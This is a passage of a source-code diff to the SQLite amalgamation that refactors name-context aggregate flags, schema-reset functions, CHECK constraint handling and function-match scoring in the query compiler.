    sqlite3ResetOneSchema(db, resetSchemaOnFault-1);
  }

  /* This is the only way out of this procedure.  We have to
@@ -73477,7 +74383,7 @@ static int lookupName(
          assert( pExpr->x.pList==0 );
          assert( pExpr->x.pSelect==0 );
          pOrig = pEList->a[j].pExpr;
-
          if( !pNC->allowAgg && ExprHasProperty(pOrig, EP_Agg) ){
+
          if( (pNC->ncFlags&NC_AllowAgg)==0 && ExprHasProperty(pOrig, EP_Agg) ){
            sqlite3ErrorMsg(pParse, "misuse of aliased aggregate %s", zAs);
            return WRC_Abort;
          }
@@ -73699,7 +74605,7 @@ static int resolveExprStep(Walker *pWalker, Expr *pExpr){
      nId = sqlite3Strlen30(zId);
      pDef = sqlite3FindFunction(pParse->db, zId, nId, n, enc, 0);
      if( pDef==0 ){
-
        pDef = sqlite3FindFunction(pParse->db, zId, nId, -1, enc, 0);
+
        pDef = sqlite3FindFunction(pParse->db, zId, nId, -2, enc, 0);
        if( pDef==0 ){
          no_such_func = 1;
        }else{
@@ -73722,7 +74628,7 @@ static int resolveExprStep(Walker *pWalker, Expr *pExpr){
        }
      }
#endif
-
      if( is_agg && !pNC->allowAgg ){
+
      if( is_agg && (pNC->ncFlags & NC_AllowAgg)==0 ){
        sqlite3ErrorMsg(pParse, "misuse of aggregate function %.*s()", nId,zId);
        pNC->nErr++;
        is_agg = 0;
@@ -73736,11 +74642,11 @@ static int resolveExprStep(Walker *pWalker, Expr *pExpr){
      }
      if( is_agg ){
        pExpr->op = TK_AGG_FUNCTION;
-
        pNC->hasAgg = 1;
+
        pNC->ncFlags |= NC_HasAgg;
      }
-
      if( is_agg ) pNC->allowAgg = 0;
+
      if( is_agg ) pNC->ncFlags &= ~NC_AllowAgg;
      sqlite3WalkExprList(pWalker, pList);
-
      if( is_agg ) pNC->allowAgg = 1;
+
      if( is_agg ) pNC->ncFlags |= NC_AllowAgg;
      /* FIX ME:  Compute pExpr->affinity based on the expected return
      ** type of the function 
      */
@@ -73755,7 +74661,7 @@ static int resolveExprStep(Walker *pWalker, Expr *pExpr){
      if( ExprHasProperty(pExpr, EP_xIsSelect) ){
        int nRef = pNC->nRef;
#ifndef SQLITE_OMIT_CHECK
-
        if( pNC->isCheck ){
+
        if( (pNC->ncFlags & NC_IsCheck)!=0 ){
          sqlite3ErrorMsg(pParse,"subqueries prohibited in CHECK constraints");
        }
#endif
@@ -73769,7 +74675,7 @@ static int resolveExprStep(Walker *pWalker, Expr *pExpr){
    }
#ifndef SQLITE_OMIT_CHECK
    case TK_VARIABLE: {
-
      if( pNC->isCheck ){
+
      if( (pNC->ncFlags & NC_IsCheck)!=0 ){
        sqlite3ErrorMsg(pParse,"parameters prohibited in CHECK constraints");
      }
      break;
@@ -73851,7 +74757,7 @@ static int resolveOrderByTermToExprList(
  nc.pParse = pParse;
  nc.pSrcList = pSelect->pSrc;
  nc.pEList = pEList;
-
  nc.allowAgg = 1;
+
  nc.ncFlags = NC_AllowAgg;
  nc.nErr = 0;
  db = pParse->db;
  savedSuppErr = db->suppressErr;
@@ -74049,7 +74955,7 @@ static int resolveOrderGroupBy(
  ExprList *pOrderBy,   /* An ORDER BY or GROUP BY clause to resolve */
  const char *zType     /* Either "ORDER" or "GROUP", as appropriate */
){
-
  int i;                         /* Loop counter */
+
  int i, j;                      /* Loop counters */
  int iCol;                      /* Column number */
  struct ExprList_item *pItem;   /* A term of the ORDER BY clause */
  Parse *pParse;                 /* Parsing context */
@@ -74086,6 +74992,11 @@ static int resolveOrderGroupBy(
    if( sqlite3ResolveExprNames(pNC, pE) ){
      return 1;
    }
+
    for(j=0; j<pSelect->pEList->nExpr; j++){
+
      if( sqlite3ExprCompare(pE, pSelect->pEList->a[j].pExpr)==0 ){
+
        pItem->iOrderByCol = j+1;
+
      }
+
    }
  }
  return sqlite3ResolveOrderGroupBy(pParse, pSelect, pOrderBy, zType);
}
@@ -74148,7 +75059,7 @@ static int resolveSelectStep(Walker *pWalker, Select *p){
    /* Set up the local name-context to pass to sqlite3ResolveExprNames() to
    ** resolve the result-set expression list.
    */
-
    sNC.allowAgg = 1;
+
    sNC.ncFlags = NC_AllowAgg;
    sNC.pSrcList = p->pSrc;
    sNC.pNext = pOuterNC;
  
@@ -74194,10 +75105,10 @@ static int resolveSelectStep(Walker *pWalker, Select *p){
    */
    assert( (p->selFlags & SF_Aggregate)==0 );
    pGroupBy = p->pGroupBy;
-
    if( pGroupBy || sNC.hasAgg ){
+
    if( pGroupBy || (sNC.ncFlags & NC_HasAgg)!=0 ){
      p->selFlags |= SF_Aggregate;
    }else{
-
      sNC.allowAgg = 0;
+
      sNC.ncFlags &= ~NC_AllowAgg;
    }
  
    /* If a HAVING clause is present, then there must be a GROUP BY clause.
@@ -74226,7 +75137,7 @@ static int resolveSelectStep(Walker *pWalker, Select *p){
    ** outer queries 
    */
    sNC.pNext = 0;
-
    sNC.allowAgg = 1;
+
    sNC.ncFlags |= NC_AllowAgg;

    /* Process the ORDER BY clause for singleton SELECT statements.
    ** The ORDER BY clause for compounds SELECT statements is handled
@@ -74314,7 +75225,7 @@ static int resolveSelectStep(Walker *pWalker, Select *p){
**
** Function calls are checked to make sure that the function is 
** defined and that the correct number of arguments are specified.
-
** If the function is an aggregate function, then the pNC->hasAgg is
+
** If the function is an aggregate function, then the NC_HasAgg flag is
** set and the opcode is changed from TK_FUNCTION to TK_AGG_FUNCTION.
** If an expression contains aggregate functions then the EP_Agg
** property on the expression is set.
@@ -74326,7 +75237,7 @@ SQLITE_PRIVATE int sqlite3ResolveExprNames(
  NameContext *pNC,       /* Namespace to resolve expressions in. */
  Expr *pExpr             /* The expression to be analyzed. */
){
-
  int savedHasAgg;
+
  u8 savedHasAgg;
  Walker w;

  if( pExpr==0 ) return 0;
@@ -74339,8 +75250,8 @@ SQLITE_PRIVATE int sqlite3ResolveExprNames(
    pParse->nHeight += pExpr->nHeight;
  }
#endif
-
  savedHasAgg = pNC->hasAgg;
-
  pNC->hasAgg = 0;
+
  savedHasAgg = pNC->ncFlags & NC_HasAgg;
+
  pNC->ncFlags &= ~NC_HasAgg;
  w.xExprCallback = resolveExprStep;
  w.xSelectCallback = resolveSelectStep;
  w.pParse = pNC->pParse;
@@ -74352,10 +75263,10 @@ SQLITE_PRIVATE int sqlite3ResolveExprNames(
  if( pNC->nErr>0 || w.pParse->nErr>0 ){
    ExprSetProperty(pExpr, EP_Error);
  }
-
  if( pNC->hasAgg ){
+
  if( pNC->ncFlags & NC_HasAgg ){
    ExprSetProperty(pExpr, EP_Agg);
  }else if( savedHasAgg ){
-
    pNC->hasAgg = 1;
+
    pNC->ncFlags |= NC_HasAgg;
  }
  return ExprHasProperty(pExpr, EP_Error);
}
@@ -74875,8 +75786,14 @@ SQLITE_PRIVATE Expr *sqlite3PExpr(
  Expr *pRight,           /* Right operand */
  const Token *pToken     /* Argument token */
){
-
  Expr *p = sqlite3ExprAlloc(pParse->db, op, pToken, 1);
-
  sqlite3ExprAttachSubtrees(pParse->db, p, pLeft, pRight);
+
  Expr *p;
+
  if( op==TK_AND && pLeft && pRight ){
+
    /* Take advantage of short-circuit false optimization for AND */
+
    p = sqlite3ExprAnd(pParse->db, pLeft, pRight);
+
  }else{
+
    p = sqlite3ExprAlloc(pParse->db, op, pToken, 1);
+
    sqlite3ExprAttachSubtrees(pParse->db, p, pLeft, pRight);
+
  }
  if( p ) {
    sqlite3ExprCheckHeight(pParse, p->nHeight);
  }
@@ -74884,14 +75801,40 @@ SQLITE_PRIVATE Expr *sqlite3PExpr(
}

/*
+
** Return 1 if an expression must be FALSE in all cases and 0 if the
+
** expression might be true.  This is an optimization.  If is OK to
+
** return 0 here even if the expression really is always false (a 
+
** false negative).  But it is a bug to return 1 if the expression
+
** might be true in some rare circumstances (a false positive.)
+
**
+
** Note that if the expression is part of conditional for a
+
** LEFT JOIN, then we cannot determine at compile-time whether or not
+
** is it true or false, so always return 0.
+
*/
+
static int exprAlwaysFalse(Expr *p){
+
  int v = 0;
+
  if( ExprHasProperty(p, EP_FromJoin) ) return 0;
+
  if( !sqlite3ExprIsInteger(p, &v) ) return 0;
+
  return v==0;
+
}
+

+
/*
** Join two expressions using an AND operator.  If either expression is
** NULL, then just return the other expression.
+
**
+
** If one side or the other of the AND is known to be false, then instead
+
** of returning an AND expression, just return a constant expression with
+
** a value of false.
*/
SQLITE_PRIVATE Expr *sqlite3ExprAnd(sqlite3 *db, Expr *pLeft, Expr *pRight){
  if( pLeft==0 ){
    return pRight;
  }else if( pRight==0 ){
    return pLeft;
+
  }else if( exprAlwaysFalse(pLeft) || exprAlwaysFalse(pRight) ){
+
    sqlite3ExprDelete(db, pLeft);
+
    sqlite3ExprDelete(db, pRight);
+
    return sqlite3ExprAlloc(db, TK_INTEGER, &sqlite3IntTokens[0], 0);
  }else{
    Expr *pNew = sqlite3ExprAlloc(db, TK_AND, 0, 0);
    sqlite3ExprAttachSubtrees(db, pNew, pLeft, pRight);
@@ -76423,15 +77366,6 @@ SQLITE_PRIVATE void sqlite3ExprCacheStore(Parse *pParse, int iTab, int iCol, int
  */
#ifndef NDEBUG
  for(i=0, p=pParse->aColCache; i<SQLITE_N_COLCACHE; i++, p++){
-
#if 0 /* This code wold remove the entry from the cache if it existed */
-
    if( p->iReg && p->iTable==iTab && p->iColumn==iCol ){
-
      cacheEntryClear(pParse, p);
-
      p->iLevel = pParse->iCacheLevel;
-
      p->iReg = iReg;
-
      p->lru = pParse->iCacheCnt++;
-
      return;
-
    }
-
#endif
    assert( p->iReg==0 || p->iTable!=iTab || p->iColumn!=iCol );
  }
#endif
@@ -76566,7 +77500,8 @@ SQLITE_PRIVATE int sqlite3ExprCodeGetColumn(
  Table *pTab,     /* Description of the table we are reading from */
  int iColumn,     /* Index of the table column */
  int iTable,      /* The cursor pointing to the table */
-
  int iReg         /* Store results here */
+
  int iReg,        /* Store results here */
+
  u8 p5            /* P5 value for OP_Column */
){
  Vdbe *v = pParse->pVdbe;
  int i;
@@ -76581,7 +77516,11 @@ SQLITE_PRIVATE int sqlite3ExprCodeGetColumn(
  }  
  assert( v!=0 );
  sqlite3ExprCodeGetColumnOfTable(v, pTab, iTable, iColumn, iReg);
-
  sqlite3ExprCacheStore(pParse, iTable, iColumn, iReg);
+
  if( p5 ){
+
    sqlite3VdbeChangeP5(v, p5);
+
  }else{   
+
    sqlite3ExprCacheStore(pParse, iTable, iColumn, iReg);
+
  }
  return iReg;
}

@@ -76709,7 +77648,8 @@ SQLITE_PRIVATE int sqlite3ExprCodeTarget(Parse *pParse, Expr *pExpr, int target)
        inReg = pExpr->iColumn + pParse->ckBase;
      }else{
        inReg = sqlite3ExprCodeGetColumn(pParse, pExpr->pTab,
-
                                 pExpr->iColumn, pExpr->iTable, target);
+
                                 pExpr->iColumn, pExpr->iTable, target,
+
                                 pExpr->op2);
      }
      break;
    }
@@ -76986,6 +77926,25 @@ SQLITE_PRIVATE int sqlite3ExprCodeTarget(Parse *pParse, Expr *pExpr, int target)

      if( pFarg ){
        r1 = sqlite3GetTempRange(pParse, nFarg);
+

+
        /* For length() and typeof() functions with a column argument,
+
        ** set the P5 parameter to the OP_Column opcode to OPFLAG_LENGTHARG
+
        ** or OPFLAG_TYPEOFARG respectively, to avoid unnecessary data
+
        ** loading.
+
        */
+
        if( (pDef->flags & (SQLITE_FUNC_LENGTH|SQLITE_FUNC_TYPEOF))!=0 ){
+
          u8 exprOp;
+
          assert( nFarg==1 );
+
          assert( pFarg->a[0].pExpr!=0 );
+
          exprOp = pFarg->a[0].pExpr->op;
+
          if( exprOp==TK_COLUMN || exprOp==TK_AGG_COLUMN ){
+
            assert( SQLITE_FUNC_LENGTH==OPFLAG_LENGTHARG );
+
            assert( SQLITE_FUNC_TYPEOF==OPFLAG_TYPEOFARG );
+
            testcase( pDef->flags==SQLITE_FUNC_LENGTH );
+
            pFarg->a[0].pExpr->op2 = pDef->flags;
+
          }
+
        }
+

        sqlite3ExprCachePush(pParse);     /* Ticket 2ea2425d34be */
        sqlite3ExprCodeExprList(pParse, pFarg, r1, 1);
        sqlite3ExprCachePop(pParse, 1);   /* Ticket 2ea2425d34be */
@@ -78121,7 +79080,7 @@ SQLITE_PRIVATE int sqlite3ExprCompare(Expr *pA, Expr *pB){
    if( !ExprHasProperty(pB, EP_IntValue) || pA->u.iValue!=pB->u.iValue ){
      return 2;
    }
-
  }else if( pA->op!=TK_COLUMN && pA->u.zToken ){
+
  }else if( pA->op!=TK_COLUMN && ALWAYS(pA->op!=TK_AGG_COLUMN) && pA->u.zToken){
    if( ExprHasProperty(pB, EP_IntValue) || NEVER(pB->u.zToken==0) ) return 2;
    if( strcmp(pA->u.zToken,pB->u.zToken)!=0 ){
      return 2;
@@ -78159,6 +79118,41 @@ SQLITE_PRIVATE int sqlite3ExprListCompare(ExprList *pA, ExprList *pB){
}

/*
+
** This is the expression callback for sqlite3FunctionUsesOtherSrc().
+
**
+
** Determine if an expression references any table other than one of the
+
** tables in pWalker->u.pSrcList and abort if it does.
+
*/
+
static int exprUsesOtherSrc(Walker *pWalker, Expr *pExpr){
+
  if( pExpr->op==TK_COLUMN || pExpr->op==TK_AGG_COLUMN ){
+
    int i;
+
    SrcList *pSrc = pWalker->u.pSrcList;
+
    for(i=0; i<pSrc->nSrc; i++){
+
      if( pExpr->iTable==pSrc->a[i].iCursor ) return WRC_Continue;
+
    }
+
    return WRC_Abort;
+
  }else{
+
    return WRC_Continue;
+
  }
+
}
+

+
/*
+
** Determine if any of the arguments to the pExpr Function references
+
** any SrcList other than pSrcList.  Return true if they do.  Return
+
** false if pExpr has no argument or has only constant arguments or
+
** only references tables named in pSrcList.
+
*/
+
static int sqlite3FunctionUsesOtherSrc(Expr *pExpr, SrcList *pSrcList){
+
  Walker w;
+
  assert( pExpr->op==TK_AGG_FUNCTION );
+
  memset(&w, 0, sizeof(w));
+
  w.xExprCallback = exprUsesOtherSrc;
+
  w.u.pSrcList = pSrcList;
+
  if( sqlite3WalkExprList(&w, pExpr->x.pList)!=WRC_Continue ) return 1;
+
  return 0;
+
}
+

+
/*
** Add a new element to the pAggInfo->aCol[] array.  Return the index of
** the new element.  Return a negative number if malloc fails.
*/
@@ -78273,9 +79267,9 @@ static int analyzeAggregate(Walker *pWalker, Expr *pExpr){
      return WRC_Prune;
    }
    case TK_AGG_FUNCTION: {
-
      /* The pNC->nDepth==0 test causes aggregate functions in subqueries
-
      ** to be ignored */
-
      if( pNC->nDepth==0 ){
+
      if( (pNC->ncFlags & NC_InAggFunc)==0
+
       && !sqlite3FunctionUsesOtherSrc(pExpr, pSrcList)
+
      ){
        /* Check to see if pExpr is a duplicate of another aggregate 
        ** function that is already in the pAggInfo structure
        */
@@ -78312,22 +79306,16 @@ static int analyzeAggregate(Walker *pWalker, Expr *pExpr){
        ExprSetIrreducible(pExpr);
        pExpr->iAgg = (i16)i;
        pExpr->pAggInfo = pAggInfo;
-
        return WRC_Prune;
      }
+
      return WRC_Prune;
    }
  }
  return WRC_Continue;
}
static int analyzeAggregatesInSelect(Walker *pWalker, Select *pSelect){
-
  NameContext *pNC = pWalker->u.pNC;
-
  if( pNC->nDepth==0 ){
-
    pNC->nDepth++;
-
    sqlite3WalkSelect(pWalker, pSelect);
-
    pNC->nDepth--;
-
    return WRC_Prune;
-
  }else{
-
    return WRC_Continue;
-
  }
+
  UNUSED_PARAMETER(pWalker);
+
  UNUSED_PARAMETER(pSelect);
+
  return WRC_Continue;
}

/*
@@ -78340,6 +79328,7 @@ static int analyzeAggregatesInSelect(Walker *pWalker, Select *pSelect){
*/
SQLITE_PRIVATE void sqlite3ExprAnalyzeAggregates(NameContext *pNC, Expr *pExpr){
  Walker w;
+
  memset(&w, 0, sizeof(w));
  w.xExprCallback = analyzeAggregate;
  w.xSelectCallback = analyzeAggregatesInSelect;
  w.u.pNC = pNC;
@@ -80602,7 +81591,7 @@ static void attachFunc(
      db->aDb[iDb].pBt = 0;
      db->aDb[iDb].pSchema = 0;
    }
-
    sqlite3ResetInternalSchema(db, -1);
+
    sqlite3ResetAllSchemasOfConnection(db);
    db->nDb = iDb;
    if( rc==SQLITE_NOMEM || rc==SQLITE_IOERR_NOMEM ){
      db->mallocFailed = 1;
@@ -80674,7 +81663,7 @@ static void detachFunc(
  sqlite3BtreeClose(pDb->pBt);
  pDb->pBt = 0;
  pDb->pSchema = 0;
-
  sqlite3ResetInternalSchema(db, -1);
+
  sqlite3ResetAllSchemasOfConnection(db);
  return;

detach_error:
@@ -81590,58 +82579,15 @@ SQLITE_PRIVATE void sqlite3UnlinkAndDeleteIndex(sqlite3 *db, int iDb, const char
}

/*
-
** Erase all schema information from the in-memory hash tables of
-
** a single database.  This routine is called to reclaim memory
-
** before the database closes.  It is also called during a rollback
-
** if there were schema changes during the transaction or if a
-
** schema-cookie mismatch occurs.
+
** Look through the list of open database files in db->aDb[] and if
+
** any have been closed, remove them from the list.  Reallocate the
+
** db->aDb[] structure to a smaller size, if possible.
**
-
** If iDb<0 then reset the internal schema tables for all database
-
** files.  If iDb>=0 then reset the internal schema for only the
-
** single file indicated.
+
** Entry 0 (the "main" database) and entry 1 (the "temp" database)
+
** are never candidates for being collapsed.
*/
-
SQLITE_PRIVATE void sqlite3ResetInternalSchema(sqlite3 *db, int iDb){
+
SQLITE_PRIVATE void sqlite3CollapseDatabaseArray(sqlite3 *db){
  int i, j;
-
  assert( iDb<db->nDb );
-

-
  if( iDb>=0 ){
-
    /* Case 1:  Reset the single schema identified by iDb */
-
    Db *pDb = &db->aDb[iDb];
-
    assert( sqlite3SchemaMutexHeld(db, iDb, 0) );
-
    assert( pDb->pSchema!=0 );
-
    sqlite3SchemaClear(pDb->pSchema);
-

-
    /* If any database other than TEMP is reset, then also reset TEMP
-
    ** since TEMP might be holding triggers that reference tables in the
-
    ** other database.
-
    */
-
    if( iDb!=1 ){
-
      pDb = &db->aDb[1];
-
      assert( pDb->pSchema!=0 );
-
      sqlite3SchemaClear(pDb->pSchema);
-
    }
-
    return;
-
  }
-
  /* Case 2 (from here to the end): Reset all schemas for all attached
-
  ** databases. */
-
  assert( iDb<0 );
-
  sqlite3BtreeEnterAll(db);
-
  for(i=0; i<db->nDb; i++){
-
    Db *pDb = &db->aDb[i];
-
    if( pDb->pSchema ){
-
      sqlite3SchemaClear(pDb->pSchema);
-
    }
-
  }
-
  db->flags &= ~SQLITE_InternChanges;
-
  sqlite3VtabUnlockList(db);
-
  sqlite3BtreeLeaveAll(db);
-

-
  /* If one or more of the auxiliary database files has been closed,
-
  ** then remove them from the auxiliary database list.  We take the
-
  ** opportunity to do this here since we have just deleted all of the
-
  ** schema hash tables and therefore do not have to make any changes
-
  ** to any of those tables.
-
  */
  for(i=j=2; i<db->nDb; i++){
    struct Db *pDb = &db->aDb[i];
    if( pDb->pBt==0 ){
@@ -81664,6 +82610,51 @@ SQLITE_PRIVATE void sqlite3ResetInternalSchema(sqlite3 *db, int iDb){
}

/*
+
** Reset the schema for the database at index iDb.  Also reset the
+
** TEMP schema.
+
*/
+
SQLITE_PRIVATE void sqlite3ResetOneSchema(sqlite3 *db, int iDb){
+
  Db *pDb;
+
  assert( iDb<db->nDb );
+

+
  /* Case 1:  Reset the single schema identified by iDb */
+
  pDb = &db->aDb[iDb];
+
  assert( sqlite3SchemaMutexHeld(db, iDb, 0) );
+
  assert( pDb->pSchema!=0 );
+
  sqlite3SchemaClear(pDb->pSchema);
+

+
  /* If any database other than TEMP is reset, then also reset TEMP
+
  ** since TEMP might be holding triggers that reference tables in the
+
  ** other database.
+
  */
+
  if( iDb!=1 ){
+
    pDb = &db->aDb[1];
+
    assert( pDb->pSchema!=0 );
+
    sqlite3SchemaClear(pDb->pSchema);
+
  }
+
  return;
+
}
+

+
/*
+
** Erase all schema information from all attached databases (including
+
** "main" and "temp") for a single database connection.
+
*/
+
SQLITE_PRIVATE void sqlite3ResetAllSchemasOfConnection(sqlite3 *db){
+
  int i;
+
  sqlite3BtreeEnterAll(db);
+
  for(i=0; i<db->nDb; i++){
+
    Db *pDb = &db->aDb[i];
+
    if( pDb->pSchema ){
+
      sqlite3SchemaClear(pDb->pSchema);
+
    }
+
  }
+
  db->flags &= ~SQLITE_InternChanges;
+
  sqlite3VtabUnlockList(db);
+
  sqlite3BtreeLeaveAll(db);
+
  sqlite3CollapseDatabaseArray(db);
+
}
+

+
/*
** This routine is called when a commit occurs.
*/
SQLITE_PRIVATE void sqlite3CommitInternalChanges(sqlite3 *db){
@@ -81698,9 +82689,16 @@ static void sqliteDeleteColumnNames(sqlite3 *db, Table *pTable){
** the table data structure from the hash table.  But it does destroy
** memory structures of the indices and foreign keys associated with 
** the table.
+
**
+
** The db parameter is optional.  It is needed if the Table object 
+
** contains lookaside memory.  (Table objects in the schema do not use
+
** lookaside memory, but some ephemeral Table objects do.)  Or the
+
** db parameter can be used with db->pnBytesFreed to measure the memory
+
** used by the Table object.
*/
SQLITE_PRIVATE void sqlite3DeleteTable(sqlite3 *db, Table *pTable){
  Index *pIndex, *pNext;
+
  TESTONLY( int nLookaside; ) /* Used to verify lookaside not used for schema */

  assert( !pTable || pTable->nRef>0 );

@@ -81708,6 +82706,12 @@ SQLITE_PRIVATE void sqlite3DeleteTable(sqlite3 *db, Table *pTable){
  if( !pTable ) return;
  if( ((!db || db->pnBytesFreed==0) && (--pTable->nRef)>0) ) return;

+
  /* Record the number of outstanding lookaside allocations in schema Tables
+
  ** prior to doing any free() operations.  Since schema Tables do not use
+
  ** lookaside, this number should not change. */
+
  TESTONLY( nLookaside = (db && (pTable->tabFlags & TF_Ephemeral)==0) ?
+
                         db->lookaside.nOut : 0 );
+

  /* Delete all indices associated with this table. */
  for(pIndex = pTable->pIndex; pIndex; pIndex=pNext){
    pNext = pIndex->pNext;
@@ -81733,12 +82737,15 @@ SQLITE_PRIVATE void sqlite3DeleteTable(sqlite3 *db, Table *pTable){
  sqlite3DbFree(db, pTable->zColAff);
  sqlite3SelectDelete(db, pTable->pSelect);
#ifndef SQLITE_OMIT_CHECK
-
  sqlite3ExprDelete(db, pTable->pCheck);
+
  sqlite3ExprListDelete(db, pTable->pCheck);
#endif
#ifndef SQLITE_OMIT_VIRTUALTABLE
  sqlite3VtabClear(db, pTable);
#endif
  sqlite3DbFree(db, pTable);
+

+
  /* Verify that no lookaside memory was used by schema tables */
+
  assert( nLookaside==0 || nLookaside==db->lookaside.nOut );
}

/*
@@ -82396,15 +83403,17 @@ SQLITE_PRIVATE void sqlite3AddCheckConstraint(
  Parse *pParse,    /* Parsing context */
  Expr *pCheckExpr  /* The check expression */
){
-
  sqlite3 *db = pParse->db;
#ifndef SQLITE_OMIT_CHECK
  Table *pTab = pParse->pNewTable;
  if( pTab && !IN_DECLARE_VTAB ){
-
    pTab->pCheck = sqlite3ExprAnd(db, pTab->pCheck, pCheckExpr);
+
    pTab->pCheck = sqlite3ExprListAppend(pParse, pTab->pCheck, pCheckExpr);
+
    if( pParse->constraintName.n ){
+
      sqlite3ExprListSetName(pParse, pTab->pCheck, &pParse->constraintName, 1);
+
    }
  }else
#endif
  {
-
    sqlite3ExprDelete(db, pCheckExpr);
+
    sqlite3ExprDelete(pParse->db, pCheckExpr);
  }
}

@@ -82674,6 +83683,8 @@ SQLITE_PRIVATE void sqlite3EndTable(
  if( p->pCheck ){
    SrcList sSrc;                   /* Fake SrcList for pParse->pNewTable */
    NameContext sNC;                /* Name context for pParse->pNewTable */
+
    ExprList *pList;                /* List of all CHECK constraints */
+
    int i;                          /* Loop counter */

    memset(&sNC, 0, sizeof(sNC));
    memset(&sSrc, 0, sizeof(sSrc));
@@ -82683,9 +83694,12 @@ SQLITE_PRIVATE void sqlite3EndTable(
    sSrc.a[0].iCursor = -1;
    sNC.pParse = pParse;
    sNC.pSrcList = &sSrc;
-
    sNC.isCheck = 1;
-
    if( sqlite3ResolveExprNames(&sNC, p->pCheck) ){
-
      return;
+
    sNC.ncFlags = NC_IsCheck;
+
    pList = p->pCheck;
+
    for(i=0; i<pList->nExpr; i++){
+
      if( sqlite3ResolveExprNames(&sNC, pList->a[i].pExpr) ){
+
        return;
+
      }
    }
  }
#endif /* !defined(SQLITE_OMIT_CHECK) */
@@ -83936,7 +84950,7 @@ SQLITE_PRIVATE Index *sqlite3CreateIndex(
    }else{
      zColl = pTab->aCol[j].zColl;
      if( !zColl ){
-
        zColl = db->pDfltColl->zName;
+
        zColl = "BINARY";
      }
    }
    if( !db->init.busy && !sqlite3LocateCollSeq(pParse, zColl) ){
@@ -84236,19 +85250,21 @@ exit_drop_index:
}

/*
-
** pArray is a pointer to an array of objects.  Each object in the
-
** array is szEntry bytes in size.  This routine allocates a new
-
** object on the end of the array.
+
** pArray is a pointer to an array of objects. Each object in the
+
** array is szEntry bytes in size. This routine uses sqlite3DbRealloc()
+
** to extend the array so that there is space for a new object at the end.
**
-
** *pnEntry is the number of entries already in use.  *pnAlloc is
-
** the previously allocated size of the array.  initSize is the
-
** suggested initial array size allocation.
+
** When this function is called, *pnEntry contains the current size of
+
** the array (in entries - so the allocation is ((*pnEntry) * szEntry) bytes
+
** in total).
**
-
** The index of the new entry is returned in *pIdx.
+
** If the realloc() is successful (i.e. if no OOM condition occurs), the
+
** space allocated for the new object is zeroed, *pnEntry updated to
+
** reflect the new size of the array and a pointer to the new allocation
+
** returned. *pIdx is set to the index of the new array entry in this case.
**
-
** This routine returns a pointer to the array of objects.  This
-
** might be the same as the pArray parameter or it might be a different
-
** pointer if the array was resized.
+
** Otherwise, if the realloc() fails, *pIdx is set to -1, *pnEntry remains
+
** unchanged and a copy of pArray returned.
*/
SQLITE_PRIVATE void *sqlite3ArrayAllocate(
  sqlite3 *db,      /* Connection to notify of malloc failures */
@@ -85235,38 +86251,57 @@ SQLITE_PRIVATE CollSeq *sqlite3FindCollSeq(
** that uses encoding enc. The value returned indicates how well the
** request is matched. A higher value indicates a better match.
**
+
** If nArg is -1 that means to only return a match (non-zero) if p->nArg
+
** is also -1.  In other words, we are searching for a function that
+
** takes a variable number of arguments.
+
**
+
** If nArg is -2 that means that we are searching for any function 
+
** regardless of the number of arguments it uses, so return a positive
+
** match score for any
+
**
** The returned value is always between 0 and 6, as follows:
**
-
** 0: Not a match, or if nArg<0 and the function is has no implementation.
-
** 1: A variable arguments function that prefers UTF-8 when a UTF-16
-
**    encoding is requested, or vice versa.
-
** 2: A variable arguments function that uses UTF-16BE when UTF-16LE is
-
**    requested, or vice versa.
-
** 3: A variable arguments function using the same text encoding.
-
** 4: A function with the exact number of arguments requested that
-
**    prefers UTF-8 when a UTF-16 encoding is requested, or vice versa.
-
** 5: A function with the exact number of arguments requested that
-
**    prefers UTF-16LE when UTF-16BE is requested, or vice versa.
-
** 6: An exact match.
-
**
-
*/
-
static int matchQuality(FuncDef *p, int nArg, u8 enc){
-
  int match = 0;
-
  if( p->nArg==-1 || p->nArg==nArg 
-
   || (nArg==-1 && (p->xFunc!=0 || p->xStep!=0))
-
  ){
+
** 0: Not a match.
+
** 1: UTF8/16 conversion required and function takes any number of arguments.
+
** 2: UTF16 byte order change required and function takes any number of args.
+
** 3: encoding matches and function takes any number of arguments
+
** 4: UTF8/16 conversion required - argument count matches exactly
+
** 5: UTF16 byte order conversion required - argument count matches exactly
+
** 6: Perfect match:  encoding and argument count match exactly.
+
**
+
** If nArg==(-2) then any function with a non-null xStep or xFunc is
+
** a perfect match and any function with both xStep and xFunc NULL is
+
** a non-match.
+
*/
+
#define FUNC_PERFECT_MATCH 6  /* The score for a perfect match */
+
static int matchQuality(
+
  FuncDef *p,     /* The function we are evaluating for match quality */
+
  int nArg,       /* Desired number of arguments.  (-1)==any */
+
  u8 enc          /* Desired text encoding */
+
){
+
  int match;
+

+
  /* nArg of -2 is a special case */
+
  if( nArg==(-2) ) return (p->xFunc==0 && p->xStep==0) ? 0 : FUNC_PERFECT_MATCH;
+

+
  /* Wrong number of arguments means "no match" */
+
  if( p->nArg!=nArg && p->nArg>=0 ) return 0;
+

+
  /* Give a better score to a function with a specific number of arguments
+
  ** than to function that accepts any number of arguments. */
+
  if( p->nArg==nArg ){
+
    match = 4;
+
  }else{
    match = 1;
-
    if( p->nArg==nArg || nArg==-1 ){
-
      match = 4;
-
    }
-
    if( enc==p->iPrefEnc ){
-
      match += 2;
-
    }
-
    else if( (enc==SQLITE_UTF16LE && p->iPrefEnc==SQLITE_UTF16BE) ||
-
             (enc==SQLITE_UTF16BE && p->iPrefEnc==SQLITE_UTF16LE) ){
-
      match += 1;
-
    }
  }
+

+
  /* Bonus points if the text encoding matches */
+
  if( enc==p->iPrefEnc ){
+
    match += 2;  /* Exact encoding match */
+
  }else if( (enc & p->iPrefEnc & 2)!=0 ){
+
    match += 1;  /* Both are UTF16, but with different byte orders */
+
  }
+

  return match;
}

@@ -85322,13 +86357,12 @@ SQLITE_PRIVATE void sqlite3FuncDefInsert(
**
** If the createFlag argument is true, then a new (blank) FuncDef
** structure is created and liked into the "db" structure if a
-
** no matching function previously existed.  When createFlag is true
-
** and the nArg parameter is -1, then only a function that accepts
-
** any number of arguments will be returned.
+
** no matching function previously existed.
**
-
** If createFlag is false and nArg is -1, then the first valid
-
** function found is returned.  A function is valid if either xFunc
-
** or xStep is non-zero.
+
** If nArg is -2, then the first valid function found is returned.  A
+
** function is valid if either xFunc or xStep is non-zero.  The nArg==(-2)
+
** case is used to see if zName is a valid function name for some number
+
** of arguments.  If nArg is -2, then createFlag must be 0.
**
** If createFlag is false, then a function with the required name and
** number of arguments may be returned even if the eTextRep flag does not
@@ -85340,14 +86374,15 @@ SQLITE_PRIVATE FuncDef *sqlite3FindFunction(
  int nName,         /* Number of characters in the name */
  int nArg,          /* Number of arguments.  -1 means any number */
  u8 enc,            /* Preferred text encoding */
-
